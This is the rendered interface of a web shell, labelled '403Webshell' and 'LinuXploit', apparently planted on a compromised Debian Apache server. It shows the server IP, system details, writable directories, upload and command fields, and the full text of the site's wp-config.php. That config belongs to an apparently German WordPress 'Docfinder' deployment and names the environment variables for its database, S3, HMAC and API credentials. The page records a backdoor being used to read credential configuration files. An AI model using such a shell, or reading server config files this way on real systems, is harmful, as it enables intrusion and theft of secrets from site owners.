403Webshell
Server IP : 178.105.230.71  /  Your IP : 216.73.216.52
Web Server : Apache/2.4.66 (Debian)
System : Linux d8d1f4b5d523 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-config.php
<?php
// deploy/wp-config.production.php — alle Werte aus der Umgebung (Dokploy-Secrets/Env).
function df_env($key, $default = null) {
    $v = getenv($key);
    return ($v === false || $v === '') ? $default : $v;
}

// --- Datenbank ---
define('DB_NAME',     df_env('WORDPRESS_DB_NAME'));
define('DB_USER',     df_env('WORDPRESS_DB_USER'));
define('DB_PASSWORD', df_env('WORDPRESS_DB_PASSWORD'));
define('DB_HOST',     df_env('WORDPRESS_DB_HOST', 'mariadb'));
define('DB_CHARSET',  'utf8mb4');
define('DB_COLLATE',  '');
$table_prefix = df_env('WORDPRESS_TABLE_PREFIX', 'wp_');

// --- Land/Sprache (Variante B Parametrisierung) ---
define('DOCFINDER_COUNTRY_MODE', df_env('DOCFINDER_COUNTRY_MODE', 'at'));

// Ads / Monetarisierung pro Land (siehe docs/superpowers/specs/2026-06-19-country-ads-gpt-design.md)
define('DOCFINDER_ADSENSE_ADS_TXT',     df_env('DOCFINDER_ADSENSE_ADS_TXT', ''));
define('DOCFINDER_GAM_SLOT_HOME',       df_env('DOCFINDER_GAM_SLOT_HOME', ''));
define('DOCFINDER_GAM_SLOT_ARTICLE_1',  df_env('DOCFINDER_GAM_SLOT_ARTICLE_1', ''));
define('DOCFINDER_GAM_SLOT_ARTICLE_2',  df_env('DOCFINDER_GAM_SLOT_ARTICLE_2', ''));
define('DOCFINDER_ADS_REQUIRE_CONSENT', df_env('DOCFINDER_ADS_REQUIRE_CONSENT', '1') !== '0');

// --- Sicherheit / Sync ---
define('DOCFINDER_SYNC_HMAC_SECRET', df_env('DOCFINDER_SYNC_HMAC_SECRET'));
define('DOCFINDER_DEEPL_API_KEY',    df_env('DOCFINDER_DEEPL_API_KEY')); // pro Land
// Country sites auto-publish translations by default (no manual editorial review).
// The German source post always stays draft (it is not a public language); only the
// per-language translations are published. Override per country with
// DOCFINDER_TRANSLATION_AUTO_PUBLISH=0 to re-enable local review.
define('DOCFINDER_TRANSLATION_AUTO_PUBLISH', df_env('DOCFINDER_TRANSLATION_AUTO_PUBLISH', '1') === '1');
define('DOCFINDER_TRANSLATION_MAX_CHARS', (int) df_env('DOCFINDER_TRANSLATION_MAX_CHARS', '50000'));

// --- ACF PRO Lizenz (Runtime-Aktivierung; entfernt den "Activate your license"-Nag,
// schaltet PRO-Updates frei). Eine Lizenz für alle Länder; Key kommt aus der App-Env. ---
define('ACF_PRO_LICENSE', df_env('ACF_PRO_LICENSE', ''));

// --- S3 (geteilter Bucket, Prefix pro Land) ---
define('S3_UPLOADS_BUCKET',     df_env('S3_UPLOADS_BUCKET'));
define('S3_UPLOADS_REGION',     df_env('S3_UPLOADS_REGION'));
define('S3_UPLOADS_KEY',        df_env('S3_UPLOADS_KEY'));
define('S3_UPLOADS_SECRET',     df_env('S3_UPLOADS_SECRET'));
define('S3_UPLOADS_BUCKET_URL', df_env('S3_UPLOADS_BUCKET_URL'));

// --- Redis Objekt-Cache ---
define('WP_REDIS_HOST', df_env('WP_REDIS_HOST', 'redis'));
define('WP_REDIS_PORT', (int) df_env('WP_REDIS_PORT', '6379'));

// --- Betrieb hinter Traefik (TLS terminiert am Proxy) ---
if (df_env('HTTP_X_FORWARDED_PROTO') === 'https' ||
    (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https')) {
    $_SERVER['HTTPS'] = 'on';
}
define('WP_HOME',    df_env('WP_HOME'));
define('WP_SITEURL', df_env('WP_SITEURL'));

// --- Zero-Downtime/Replica: kein lokaler Pseudo-Cron ---
define('DISABLE_WP_CRON', true);

// --- Auth Keys (aus Env-Secrets) ---
define('AUTH_KEY',         df_env('WP_AUTH_KEY'));
define('SECURE_AUTH_KEY',  df_env('WP_SECURE_AUTH_KEY'));
define('LOGGED_IN_KEY',    df_env('WP_LOGGED_IN_KEY'));
define('NONCE_KEY',        df_env('WP_NONCE_KEY'));
define('AUTH_SALT',        df_env('WP_AUTH_SALT'));
define('SECURE_AUTH_SALT', df_env('WP_SECURE_AUTH_SALT'));
define('LOGGED_IN_SALT',   df_env('WP_LOGGED_IN_SALT'));
define('NONCE_SALT',       df_env('WP_NONCE_SALT'));

define('WP_DEBUG', (bool) df_env('WP_DEBUG', '0'));

if (!defined('ABSPATH')) define('ABSPATH', __DIR__ . '/');
require_once ABSPATH . 'wp-settings.php';

Youez - 2016 - github.com/yon3zu
LinuXploit